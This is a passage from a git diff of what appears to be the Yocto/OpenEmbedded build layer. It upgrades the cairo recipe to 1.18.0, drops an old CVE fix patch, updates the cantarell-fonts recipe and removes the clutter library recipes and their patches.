-+ } while (error > tolerance && error > __DBL_EPSILON__);
-
- return angle;
- }
diff --git a/meta/recipes-graphics/cairo/cairo/CVE-2019-6462.patch b/meta/recipes-graphics/cairo/cairo/CVE-2019-6462.patch
deleted file mode 100644
index 4e4598c5b5..0000000000
--- a/meta/recipes-graphics/cairo/cairo/CVE-2019-6462.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-There is an assertion in function _cairo_arc_in_direction().
-
-CVE: CVE-2019-6462
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/src/cairo-arc.c b/src/cairo-arc.c
-index 390397bae..1bde774a4 100644
---- a/src/cairo-arc.c
-+++ b/src/cairo-arc.c
-@@ -186,7 +186,8 @@ _cairo_arc_in_direction (cairo_t *cr,
- if (cairo_status (cr))
- return;
-
-- assert (angle_max >= angle_min);
-+ if (angle_max < angle_min)
-+ return;
-
- if (angle_max - angle_min > 2 * M_PI * MAX_FULL_CIRCLES) {
- angle_max = fmod (angle_max - angle_min, 2 * M_PI);
diff --git a/meta/recipes-graphics/cairo/cairo/cairo-get_bitmap_surface-bsc1036789-CVE-2017-7475.diff b/meta/recipes-graphics/cairo/cairo/cairo-get_bitmap_surface-bsc1036789-CVE-2017-7475.diff
index 7aaad2eedd..6c761bf2a7 100644
--- a/meta/recipes-graphics/cairo/cairo/cairo-get_bitmap_surface-bsc1036789-CVE-2017-7475.diff
+++ b/meta/recipes-graphics/cairo/cairo/cairo-get_bitmap_surface-bsc1036789-CVE-2017-7475.diff
@@ -3,7 +3,7 @@ Cairo: Fix Denial-of-Service Attack due to Logical Problem in Program
https://bugs.freedesktop.org/show_bug.cgi?id=100763
CVE: CVE-2017-7475
-Upstream-Status: Submitted
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/cairo/cairo/-/issues/80]
Signed-off-by: Fan Xin <fan.xin@jp.fujitsu.com>
diff --git a/meta/recipes-graphics/cairo/cairo_1.16.0.bb b/meta/recipes-graphics/cairo/cairo_1.16.0.bb
deleted file mode 100644
index 68f993d7ca..0000000000
--- a/meta/recipes-graphics/cairo/cairo_1.16.0.bb
+++ /dev/null
@@ -1,98 +0,0 @@
-SUMMARY = "The Cairo 2D vector graphics library"
-DESCRIPTION = "Cairo is a multi-platform library providing anti-aliased \
-vector-based rendering for multiple target backends. Paths consist \
-of line segments and cubic splines and can be rendered at any width \
-with various join and cap styles. All colors may be specified with \
-optional translucence (opacity/alpha) and combined using the \
-extended Porter/Duff compositing algebra as found in the X Render \
-Extension."
-HOMEPAGE = "http://cairographics.org"
-BUGTRACKER = "http://bugs.freedesktop.org"
-SECTION = "libs"
-
-LICENSE = "(MPL-1.1 | LGPLv2.1) & GPLv3+"
-LICENSE_${PN} = "MPL-1.1 | LGPLv2.1"
-LICENSE_${PN}-dev = "MPL-1.1 | LGPLv2.1"
-LICENSE_${PN}-doc = "MPL-1.1 | LGPLv2.1"
-LICENSE_${PN}-gobject = "MPL-1.1 | LGPLv2.1"
-LICENSE_${PN}-script-interpreter = "MPL-1.1 | LGPLv2.1"
-LICENSE_${PN}-perf-utils = "GPLv3+"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=e73e999e0c72b5ac9012424fa157ad77"
-
-DEPENDS = "fontconfig glib-2.0 libpng pixman zlib"
-
-SRC_URI = "http://cairographics.org/releases/cairo-${PV}.tar.xz \
- file://cairo-get_bitmap_surface-bsc1036789-CVE-2017-7475.diff \
- file://CVE-2018-19876.patch \
- file://CVE-2019-6461.patch \
- file://CVE-2019-6462.patch \
- "
-
-SRC_URI[md5sum] = "f19e0353828269c22bd72e271243a552"
-SRC_URI[sha256sum] = "5e7b29b3f113ef870d1e3ecf8adf21f923396401604bda16d44be45e66052331"
-
-inherit autotools pkgconfig upstream-version-is-even gtk-doc multilib_script
-
-MULTILIB_SCRIPTS = "${PN}-perf-utils:${bindir}/cairo-trace"
-
-X11DEPENDS = "virtual/libx11 libsm libxrender libxext"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'directfb', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11 xcb', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'opengl', '', d)} \
- trace"
-PACKAGECONFIG_class-native = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11 xcb', '', d)}"
-PACKAGECONFIG_class-nativesdk = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11 xcb', '', d)}"
-
-PACKAGECONFIG[x11] = "--with-x=yes -enable-xlib,--with-x=no --disable-xlib,${X11DEPENDS}"
-PACKAGECONFIG[xcb] = "--enable-xcb,--disable-xcb,libxcb"
-PACKAGECONFIG[directfb] = "--enable-directfb=yes,,directfb"
-PACKAGECONFIG[valgrind] = "--enable-valgrind=yes,--disable-valgrind,valgrind"
-PACKAGECONFIG[egl] = "--enable-egl=yes,--disable-egl,virtual/egl"
-PACKAGECONFIG[glesv2] = "--enable-glesv2,--disable-glesv2,virtual/libgles2"
-PACKAGECONFIG[opengl] = "--enable-gl,--disable-gl,virtual/libgl"
-PACKAGECONFIG[trace] = "--enable-trace,--disable-trace"
-
-EXTRA_OECONF += " \
- ${@bb.utils.contains('TARGET_FPU', 'soft', '--disable-some-floating-point', '', d)} \
- --enable-tee \
-"
-
-# We don't depend on binutils so we need to disable this
-export ac_cv_lib_bfd_bfd_openr="no"
-# Ensure we don't depend on LZO
-export ac_cv_lib_lzo2_lzo2a_decompress="no"
-
-do_install_append () {
- rm -rf ${D}${bindir}/cairo-sphinx
- rm -rf ${D}${libdir}/cairo/cairo-fdr*
- rm -rf ${D}${libdir}/cairo/cairo-sphinx*
- rm -rf ${D}${libdir}/cairo/.debug/cairo-fdr*
- rm -rf ${D}${libdir}/cairo/.debug/cairo-sphinx*
- [ ! -d ${D}${bindir} ] ||
- rmdir -p --ignore-fail-on-non-empty ${D}${bindir}
- [ ! -d ${D}${libdir}/cairo ] ||
- rmdir -p --ignore-fail-on-non-empty ${D}${libdir}/cairo
-}
-
-PACKAGES =+ "cairo-gobject cairo-script-interpreter cairo-perf-utils"
-
-SUMMARY_cairo-gobject = "The Cairo library GObject wrapper library"
-DESCRIPTION_cairo-gobject = "A GObject wrapper library for the Cairo API."
-
-SUMMARY_cairo-script-interpreter = "The Cairo library script interpreter"
-DESCRIPTION_cairo-script-interpreter = "The Cairo script interpreter implements \
-CairoScript. CairoScript is used by tracing utilities to enable the ability \
-to replay rendering."
-
-DESCRIPTION_cairo-perf-utils = "The Cairo library performance utilities"
-
-FILES_${PN} = "${libdir}/libcairo.so.*"
-FILES_${PN}-gobject = "${libdir}/libcairo-gobject.so.*"
-FILES_${PN}-script-interpreter = "${libdir}/libcairo-script-interpreter.so.*"
-FILES_${PN}-perf-utils = "${bindir}/cairo-trace* ${libdir}/cairo/*.la ${libdir}/cairo/libcairo-trace.so"
-
-BBCLASSEXTEND = "native nativesdk"
-
-UPSTREAM_CHECK_REGEX = "cairo-(?P<pver>\d+(\.\d+)+).tar.xz"
diff --git a/meta/recipes-graphics/cairo/cairo_1.18.0.bb b/meta/recipes-graphics/cairo/cairo_1.18.0.bb
new file mode 100644
index 0000000000..4c97e973d0
--- /dev/null
+++ b/meta/recipes-graphics/cairo/cairo_1.18.0.bb
@@ -0,0 +1,86 @@
+SUMMARY = "The Cairo 2D vector graphics library"
+DESCRIPTION = "Cairo is a multi-platform library providing anti-aliased \
+vector-based rendering for multiple target backends. Paths consist \
+of line segments and cubic splines and can be rendered at any width \
+with various join and cap styles. All colors may be specified with \
+optional translucence (opacity/alpha) and combined using the \
+extended Porter/Duff compositing algebra as found in the X Render \
+Extension."
+HOMEPAGE = "http://cairographics.org"
+BUGTRACKER = "https://gitlab.freedesktop.org/cairo/cairo/-/issues"
+SECTION = "libs"
+
+LICENSE = "(MPL-1.1 | LGPL-2.1-only) & GPL-3.0-or-later"
+LICENSE:${PN} = "MPL-1.1 | LGPL-2.1-only"
+LICENSE:${PN}-dev = "MPL-1.1 | LGPL-2.1-only"
+LICENSE:${PN}-doc = "MPL-1.1 | LGPL-2.1-only"
+LICENSE:${PN}-gobject = "MPL-1.1 | LGPL-2.1-only"
+LICENSE:${PN}-script-interpreter = "MPL-1.1 | LGPL-2.1-only"
+LICENSE:${PN}-perf-utils = "GPL-3.0-or-later"
+# Adapt the licenses for cairo-dbg and cairo-src depending on whether
+# cairo-trace is being built.
+LICENSE:${PN}-dbg = "(MPL-1.1 | LGPL-2.1-only)${@bb.utils.contains('PACKAGECONFIG', 'trace', ' & GPL-3.0-or-later', '', d)}"
+LICENSE:${PN}-src = "(MPL-1.1 | LGPL-2.1-only)${@bb.utils.contains('PACKAGECONFIG', 'trace', ' & GPL-3.0-or-later', '', d)}"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=e73e999e0c72b5ac9012424fa157ad77 \
+ ${@bb.utils.contains('PACKAGECONFIG', 'trace', 'file://util/cairo-trace/COPYING-GPL-3;md5=d32239bcb673463ab874e80d47fae504', '', d)}"
+
+
+DEPENDS = "fontconfig freetype glib-2.0 libpng pixman zlib"
+
+SRC_URI = "http://cairographics.org/releases/cairo-${PV}.tar.xz \
+ file://cairo-get_bitmap_surface-bsc1036789-CVE-2017-7475.diff \
+ "
+
+SRC_URI[sha256sum] = "243a0736b978a33dee29f9cca7521733b78a65b5418206fef7bd1c3d4cf10b64"
+
+inherit meson pkgconfig upstream-version-is-even gtk-doc multilib_script
+
+# if qemu usermode isn't available, this value needs to be set statically
+# (otherwise it's determinted by running a small target executable with qemu)
+do_write_config:append() {
+ cat >${WORKDIR}/cairo.cross <<EOF
+[properties]
+ipc_rmid_deferred_release = 'true'
+EOF
+}
+EXTRA_OEMESON:append:class-nativesdk = "${@' --cross-file ${WORKDIR}/cairo.cross' if d.getVar('EXEWRAPPER_ENABLED') == 'False' else ''}"
+EXTRA_OEMESON:append:class-target = "${@' --cross-file ${WORKDIR}/cairo.cross' if d.getVar('EXEWRAPPER_ENABLED') == 'False' else ''}"
+
+GTKDOC_MESON_OPTION = "gtk_doc"
+
+MULTILIB_SCRIPTS = "${PN}-perf-utils:${bindir}/cairo-trace"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'xlib xcb', '', d)} trace"
+PACKAGECONFIG[xlib] = "-Dxlib=enabled,-Dxlib=disabled,virtual/libx11 libxrender libxext"
+PACKAGECONFIG[xcb] = "-Dxcb=enabled,-Dxcb=disabled,libxcb"
+# cairo-trace is GPLv3 so add an option to remove it
+PACKAGECONFIG[trace] = ""
+
+do_install:append () {
+ if ! ${@bb.utils.contains('PACKAGECONFIG', 'trace', 'true', 'false', d)}; then
+ rm ${D}${bindir}/cairo-trace ${D}${libdir}/cairo/libcairo-trace.so
+ rmdir --ignore-fail-on-non-empty ${D}${bindir} ${D}${libdir}/cairo
+ fi
+}
+
+PACKAGES =+ "cairo-gobject cairo-script-interpreter cairo-perf-utils"
+
+SUMMARY:cairo-gobject = "The Cairo library GObject wrapper library"
+DESCRIPTION:cairo-gobject = "A GObject wrapper library for the Cairo API."
+
+SUMMARY:cairo-script-interpreter = "The Cairo library script interpreter"
+DESCRIPTION:cairo-script-interpreter = "The Cairo script interpreter implements \
+CairoScript. CairoScript is used by tracing utilities to enable the ability \
+to replay rendering."
+
+DESCRIPTION:cairo-perf-utils = "The Cairo library performance utilities"
+
+FILES:${PN} = "${libdir}/libcairo.so.*"
+FILES:${PN}-gobject = "${libdir}/libcairo-gobject.so.*"
+FILES:${PN}-script-interpreter = "${libdir}/libcairo-script-interpreter.so.*"
+FILES:${PN}-perf-utils = "${bindir}/cairo-* ${libdir}/cairo/libcairo-trace.so ${libdir}/cairo/libcairo-fdr.so"
+
+BBCLASSEXTEND = "native nativesdk"
+
+UPSTREAM_CHECK_REGEX = "cairo-(?P<pver>\d+(\.\d+)+).tar.xz"
diff --git a/meta/recipes-graphics/cantarell-fonts/cantarell-fonts_0.303.1.bb b/meta/recipes-graphics/cantarell-fonts/cantarell-fonts_0.303.1.bb
new file mode 100644
index 0000000000..a3a69ae49c
--- /dev/null
+++ b/meta/recipes-graphics/cantarell-fonts/cantarell-fonts_0.303.1.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Cantarell, a Humanist sans-serif font family"
+
+DESCRIPTION = "The Cantarell font typeface is designed as a \
+ contemporary Humanist sans serif, and was developed for \
+ on-screen reading; in particular, reading web pages on an \
+ HTC Dream mobile phone."
+
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/cantarell-fonts/"
+SECTION = "fonts"
+LICENSE = "OFL-1.1 & Apache-2.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=fb1ef92b6909969a472a6ea3c4e99cb7"
+
+inherit gnomebase meson allarch fontcache pkgconfig
+SRC_URI[archive.sha256sum] = "f9463a0659c63e57e381fdd753cf1929225395c5b49135989424761830530411"
+
+EXTRA_OEMESON += "-Duseprebuilt=true -Dbuildappstream=false"
+
+FILES:${PN} = "${datadir}/fonts ${datadir}/fontconfig"
diff --git a/meta/recipes-graphics/cantarell-fonts/cantarell-fonts_git.bb b/meta/recipes-graphics/cantarell-fonts/cantarell-fonts_git.bb
deleted file mode 100644
index db480bd397..0000000000
--- a/meta/recipes-graphics/cantarell-fonts/cantarell-fonts_git.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-SUMMARY = "Cantarell, a Humanist sans-serif font family"
-
-DESCRIPTION = "The Cantarell font typeface is designed as a \
- contemporary Humanist sans serif, and was developed for \
- on-screen reading; in particular, reading web pages on an \
- HTC Dream mobile phone."
-
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/cantarell-fonts/"
-SECTION = "fonts"
-LICENSE = "OFL-1.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=df91e3ffcab8cfb972a66bf11255188d"
-
-PV = "0.0.25"
-
-SRCREV = "e28a9096da43984212b5b4002b949bcb8c7527f9"
-SRC_URI = "git://gitlab.gnome.org/GNOME/cantarell-fonts.git;protocol=https;branch=reconstruction-0.0.25"
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(?!0\.13)(?!0\.10\.1)\d+\.\d+(\.\d+)+)"
-
-S = "${WORKDIR}/git"
-
-inherit autotools allarch fontcache pkgconfig
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[fontforge] = "--enable-source-rebuild=yes,--enable-source-rebuild=no,fontforge-native"
-FILES_${PN} = "${datadir}/fonts ${datadir}/fontconfig"
diff --git a/meta/recipes-graphics/clutter/clutter-1.0.inc b/meta/recipes-graphics/clutter/clutter-1.0.inc
deleted file mode 100644
index 80472178be..0000000000
--- a/meta/recipes-graphics/clutter/clutter-1.0.inc
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "Graphics library for creating hardware-accelerated user interfaces"
-DESCRIPTION = "Clutter is an Open GL based interactive canvas library, \
-designed for creating fast, mainly 2D single window applications such as media \
-box UIs, presentations, kiosk style applications and so on."
-HOMEPAGE = "http://www.clutter-project.org/"
-LICENSE = "LGPLv2.1+"
-
-inherit clutter ptest-gnome features_check upstream-version-is-even gobject-introspection
-# depends on cogl-1.0 which needs opengl
-REQUIRED_DISTRO_FEATURES ?= "opengl"
-
-DEPENDS = "pango glib-2.0 json-glib atk udev cogl-1.0"
-PACKAGE_BEFORE_PN += "${PN}-examples"
-AUTOTOOLS_AUXDIR = "${S}/build-aux"
-
-EDEPENDS_X11 = "virtual/libx11 libxi libxfixes"
-EDEPENDS_GLX = "virtual/libgl"
-EDEPENDS_EGL = "virtual/egl"
-EDEPENDS_WAYLAND = "wayland libxkbcommon gdk-pixbuf"
-
-EDEPENDS_EVDEV = "libxkbcommon"
-ERDEPENDS_EVDEV = "xkeyboard-config"
-
-# Disable pretty much everything, override in platform specific set up
-EXTRA_OECONF += "--disable-quartz-backend \
- --disable-win32-backend \
- --disable-cex100-backend \
- --disable-tslib-input \
- "
-
-PACKAGECONFIG[gdk] = "--enable-gdk-backend,--disable-gdk-backend,gtk+3"
-PACKAGECONFIG[x11] = "--enable-x11-backend,--disable-x11-backend,${EDEPENDS_X11}"
-PACKAGECONFIG[glx] = ",,${EDEPENDS_X11} ${EDEPENDS_GLX}"
-PACKAGECONFIG[egl] = "--enable-egl-backend,--disable-egl-backend,${EDEPENDS_EGL}"
-PACKAGECONFIG[evdev] = "--enable-evdev-input,--disable-evdev-input,${EDEPENDS_EVDEV},${ERDEPENDS_EVDEV}"
-PACKAGECONFIG[wayland] = "--enable-wayland-backend,--disable-wayland-backend,${EDEPENDS_WAYLAND}"
-PACKAGECONFIG[wayland-compositor] = "--enable-wayland-compositor,--disable-wayland-compositor,wayland"
-
-# Default configuration, distros might want to override
-PACKAGECONFIG ??= "egl gdk \
- ${@bb.utils.filter('DISTRO_FEATURES', 'wayland', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'glx x11', '', d)}"
-
-FILES_${PN}-examples = "${libdir}/clutter/examples"
-
-do_configure_prepend() {
- # see https://bugzilla.gnome.org/show_bug.cgi?id=661128 for this
- touch -t 200001010000 ${S}/po/clutter-1.0.pot
-}
diff --git a/meta/recipes-graphics/clutter/clutter-1.0/0001-Remove-clutter.types-as-it-is-build-configuration-sp.patch b/meta/recipes-graphics/clutter/clutter-1.0/0001-Remove-clutter.types-as-it-is-build-configuration-sp.patch
deleted file mode 100644
index 7b3c1980b6..0000000000
--- a/meta/recipes-graphics/clutter/clutter-1.0/0001-Remove-clutter.types-as-it-is-build-configuration-sp.patch
+++ /dev/null
@@ -1,143 +0,0 @@
-From 3a0404dfbc65c6a864e01d1200a48074e19d5def Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 2 Sep 2016 14:28:38 +0300
-Subject: [PATCH] Remove clutter.types as it is build configuration-specific.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- doc/reference/clutter.types | 122 --------------------------------------------
- 1 file changed, 122 deletions(-)
- delete mode 100644 doc/reference/clutter.types
-
-diff --git a/doc/reference/clutter.types b/doc/reference/clutter.types
-deleted file mode 100644
-index 0037acc..0000000
---- a/doc/reference/clutter.types
-+++ /dev/null
-@@ -1,122 +0,0 @@
--cally_actor_get_type
--cally_clone_get_type
--cally_group_get_type
--cally_rectangle_get_type
--cally_root_get_type
--cally_stage_get_type
--cally_text_get_type
--cally_texture_get_type
--cally_util_get_type
--clutter_action_get_type
--clutter_actor_box_get_type
--clutter_actor_get_type
--clutter_actor_meta_get_type
--clutter_align_constraint_get_type
--clutter_alpha_get_type
--clutter_animatable_get_type
--clutter_animation_get_type
--clutter_animator_get_type
--clutter_animator_key_get_type
--clutter_backend_get_type
--clutter_behaviour_depth_get_type
--clutter_behaviour_ellipse_get_type
--clutter_behaviour_get_type
--clutter_behaviour_opacity_get_type
--clutter_behaviour_path_get_type
--clutter_behaviour_rotate_get_type
--clutter_behaviour_scale_get_type
--clutter_bin_layout_get_type
--clutter_bind_constraint_get_type
--clutter_binding_pool_get_type
--clutter_blur_effect_get_type
--clutter_box_get_type
--clutter_box_layout_get_type
--clutter_brightness_contrast_effect_get_type
--clutter_cairo_texture_get_type
--clutter_canvas_get_type
--clutter_child_meta_get_type
--clutter_click_action_get_type
--clutter_clip_node_get_type
--clutter_clone_get_type
--clutter_color_get_type
--clutter_color_node_get_type
--clutter_colorize_effect_get_type
--clutter_constraint_get_type
--clutter_container_get_type
--clutter_content_get_type
--clutter_deform_effect_get_type
--clutter_desaturate_effect_get_type
--clutter_device_manager_get_type
--clutter_drag_action_get_type
--clutter_drop_action_get_type
--clutter_effect_get_type
--clutter_event_get_type
--clutter_event_sequence_get_type
--clutter_fixed_layout_get_type
--clutter_flow_layout_get_type
--clutter_fog_get_type
--clutter_geometry_get_type
--clutter_gesture_action_get_type
--clutter_glx_texture_pixmap_get_type
--clutter_grid_layout_get_type
--clutter_group_get_type
--clutter_image_get_type
--clutter_input_device_get_type
--clutter_interval_get_type
--clutter_keyframe_transition_get_type
--clutter_knot_get_type
--clutter_layout_manager_get_type
--clutter_layout_meta_get_type
--clutter_list_model_get_type
--clutter_margin_get_type
--clutter_media_get_type
--clutter_model_get_type
--clutter_model_iter_get_type
--clutter_offscreen_effect_get_type
--clutter_page_turn_effect_get_type
--clutter_paint_node_get_type
--clutter_paint_volume_get_type
--clutter_pan_action_get_type
--clutter_param_color_get_type
--clutter_param_fixed_get_type
--clutter_param_units_get_type
--clutter_path_constraint_get_type
--clutter_path_get_type
--clutter_path_node_get_type
--clutter_perspective_get_type
--clutter_pipeline_node_get_type
--clutter_point_get_type
--clutter_property_transition_get_type
--clutter_rect_get_type
--clutter_rectangle_get_type
--clutter_rotate_action_get_type
--clutter_score_get_type
--clutter_script_get_type
--clutter_scriptable_get_type
--clutter_scroll_actor_get_type
--clutter_settings_get_type
--clutter_shader_effect_get_type
--clutter_shader_float_get_type
--clutter_shader_get_type
--clutter_shader_int_get_type
--clutter_shader_matrix_get_type
--clutter_size_get_type
--clutter_snap_constraint_get_type
--clutter_stage_get_type
--clutter_stage_manager_get_type
--clutter_state_get_type
--clutter_state_key_get_type
--clutter_swipe_action_get_type
--clutter_table_layout_get_type
--clutter_tap_action_get_type
--clutter_text_buffer_get_type
--clutter_text_get_type
--clutter_text_node_get_type
--clutter_texture_get_type
--clutter_texture_node_get_type
--clutter_timeline_get_type
--clutter_transition_get_type
--clutter_transition_group_get_type
--clutter_units_get_type
--clutter_vertex_get_type
--clutter_zoom_action_get_type
---
-2.9.3
-
diff --git a/meta/recipes-graphics/clutter/clutter-1.0/install-examples.patch b/meta/recipes-graphics/clutter/clutter-1.0/install-examples.patch
deleted file mode 100644
index ce9ab3a248..0000000000
--- a/meta/recipes-graphics/clutter/clutter-1.0/install-examples.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-Install the examples to $libdir/clutter/.
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Upstream-Status: Inappropriate
-
-Index: clutter-1.26.2/examples/Makefile.am
-===================================================================
---- clutter-1.26.2.orig/examples/Makefile.am
-+++ clutter-1.26.2/examples/Makefile.am
-@@ -33,7 +33,8 @@ AM_CPPFLAGS = \
- -I$(top_srcdir)/clutter \
- -I$(top_builddir)/clutter
-
--noinst_PROGRAMS = $(all_examples)
-+exampledir = $(pkglibdir)/examples
-+example_PROGRAMS = $(all_examples)
-
- EXTRA_DIST = redhand.png
-
diff --git a/meta/recipes-graphics/clutter/clutter-1.0/run-installed-tests-with-tap-output.patch b/meta/recipes-graphics/clutter/clutter-1.0/run-installed-tests-with-tap-output.patch
deleted file mode 100644
index fef82eaf92..0000000000
--- a/meta/recipes-graphics/clutter/clutter-1.0/run-installed-tests-with-tap-output.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From d6ceb5a44b28e0e50ede22b84984d8516897de4b Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Mon, 27 Apr 2015 20:12:33 +0300
-Subject: [PATCH] Run installed tests with tap output
-
-Configure output from installed-tests to be TAP compliant such that
-gnome-desktop-testing-runner properly interprets the results.
-
-Upstream-Status: Pending
-
-Signed-off-by: Tim Orling <TicoTimo@gmail.com>
-
----
- build-aux/autotools/glib-tap.mk | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/build-aux/autotools/glib-tap.mk b/build-aux/autotools/glib-tap.mk
-index a4f0dad..51cfa31 100644
---- a/build-aux/autotools/glib-tap.mk
-+++ b/build-aux/autotools/glib-tap.mk
-@@ -127,7 +127,8 @@ installed_test_meta_DATA = $(installed_testcases:=.test)
- %.test: %$(EXEEXT) Makefile
- $(AM_V_GEN) (echo '[Test]' > $@.tmp; \
- echo 'Type=session' >> $@.tmp; \
-- echo 'Exec=env G_ENABLE_DIAGNOSTIC=0 CLUTTER_ENABLE_DIAGNOSTIC=0 $(installed_testdir)/$<' >> $@.tmp; \
-+ echo 'Exec=env G_ENABLE_DIAGNOSTIC=0 CLUTTER_ENABLE_DIAGNOSTIC=0 $(installed_testdir)/$< --tap' >> $@.tmp; \
-+ echo 'Output=TAP' >> $@.tmp; \
- mv $@.tmp $@)
-
- CLEANFILES += $(installed_test_meta_DATA)
diff --git a/meta/recipes-graphics/clutter/clutter-1.0/run-ptest b/meta/recipes-graphics/clutter/clutter-1.0/run-ptest
deleted file mode 100644
index 98877e5226..0000000000
--- a/meta/recipes-graphics/clutter/clutter-1.0/run-ptest
+++ /dev/null
@@ -1,3 +0,0 @@
-#! /bin/sh
-
-gnome-desktop-testing-runner clutter
diff --git a/meta/recipes-graphics/clutter/clutter-1.0_1.26.4.bb b/meta/recipes-graphics/clutter/clutter-1.0_1.26.4.bb
deleted file mode 100644
index ee549fbdd5..0000000000
--- a/meta/recipes-graphics/clutter/clutter-1.0_1.26.4.bb
+++ /dev/null
@@ -1,10 +0,0 @@
-require clutter-1.0.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI[archive.md5sum] = "624dd776a5159de0267587b1df6b97b2"
-SRC_URI[archive.sha256sum] = "8b48fac159843f556d0a6be3dbfc6b083fc6d9c58a20a49a6b4919ab4263c4e6"
-SRC_URI += "file://install-examples.patch \
- file://run-installed-tests-with-tap-output.patch \
- file://0001-Remove-clutter.types-as-it-is-build-configuration-sp.patch \
- file://run-ptest"
diff --git a/meta/recipes-graphics/clutter/clutter-gst-3.0.inc b/meta/recipes-graphics/clutter/clutter-gst-3.0.inc
deleted file mode 100644
index fc3eade886..0000000000
--- a/meta/recipes-graphics/clutter/clutter-gst-3.0.inc
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "GStreamer integration library for Clutter"
-HOMEPAGE = "http://www.clutter-project.org/"
-LICENSE = "LGPLv2+"
-
-inherit clutter features_check upstream-version-is-even gobject-introspection
-# depends on clutter-1.0 which depends on cogl-1.0
-REQUIRED_DISTRO_FEATURES ?= "opengl"
-
-SRC_URI += "file://0001-Install-example-binary-needed-for-core-image-clutter.patch"
-
-DEPENDS = "gstreamer1.0-plugins-base gstreamer1.0-plugins-bad clutter-1.0 libgudev"
-RDEPENDS_${PN} += "gstreamer1.0-meta-base"
-PACKAGES =+ "${PN}-examples"
-
-FILES_${PN} += "${libdir}/gstreamer-1.0/lib*.so"
-FILES_${PN}-dev += "${libdir}/gstreamer-1.0/*.la"
-FILES_${PN}-examples = "${bindir}/video-player ${bindir}/video-sink"
diff --git a/meta/recipes-graphics/clutter/clutter-gst-3.0/0001-Install-example-binary-needed-for-core-image-clutter.patch b/meta/recipes-graphics/clutter/clutter-gst-3.0/0001-Install-example-binary-needed-for-core-image-clutter.patch
deleted file mode 100644
index 0b26b990d7..0000000000
--- a/meta/recipes-graphics/clutter/clutter-gst-3.0/0001-Install-example-binary-needed-for-core-image-clutter.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From d77c711277bf075ce0545c19b322f040c49c778a Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 30 Apr 2015 12:19:13 +0300
-Subject: [PATCH] Install example binary needed for core-image-clutter
-
-Signed-off-by: Zhai Edwin <edwin.zhai@intel.com>
-
-Upstream-Status: Inappropriate [configuration]
-
-Imported from clutter-gst-1.8 package, git://git.openembedded.org/openembedded,
-commit ae28ee3f7a060b9e0d13154a84f2444a98490b5b, updated for clutter-gst 3.0
-
-Signed-off-by: Tomas Frydrych <tomas@sleepfive.com>
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- examples/Makefile.am | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/examples/Makefile.am b/examples/Makefile.am
-index bfbc1b5..09655e3 100644
---- a/examples/Makefile.am
-+++ b/examples/Makefile.am
-@@ -1,6 +1,6 @@
- NULL = #
-
--noinst_PROGRAMS = camera-player video-player video-sink video-sink-navigation video-content
-+bin_PROGRAMS = camera-player video-player video-sink video-sink-navigation video-content
-
- AM_CPPFLAGS = -I$(top_srcdir) \
- $(MAINTAINER_CFLAGS) \
---
-2.1.4
-
diff --git a/meta/recipes-graphics/clutter/clutter-gst-3.0_3.0.27.bb b/meta/recipes-graphics/clutter/clutter-gst-3.0_3.0.27.bb
deleted file mode 100644
index 35382453c2..0000000000
--- a/meta/recipes-graphics/clutter/clutter-gst-3.0_3.0.27.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require clutter-gst-3.0.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
- file://clutter-gst/clutter-gst.h;beginline=1;endline=24;md5=95baacba194e814c110ea3bdf25ddbf4"
-
-SRC_URI[archive.md5sum] = "2bf9d7ca146c9d71e86c45cd00e9a28e"
-SRC_URI[archive.sha256sum] = "fe69bd6c659d24ab30da3f091eb91cd1970026d431179b0724f13791e8ad9f9d"
diff --git a/meta/recipes-graphics/clutter/clutter-gtk-1.0.inc b/meta/recipes-graphics/clutter/clutter-gtk-1.0.inc
deleted file mode 100644
index 7bf2278555..0000000000
--- a/meta/recipes-graphics/clutter/clutter-gtk-1.0.inc
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "Library for embedding a Clutter canvas in a GTK+ application"
-HOMEPAGE = "http://www.clutter-project.org/"
-LICENSE = "LGPLv2+"
-
-CLUTTERBASEBUILDCLASS = "meson"
-inherit clutter features_check upstream-version-is-even gobject-introspection gtk-doc
-
-# depends on clutter-1.0 which depends on cogl-1.0
-REQUIRED_DISTRO_FEATURES ?= "opengl"
-# depends on gtk+3
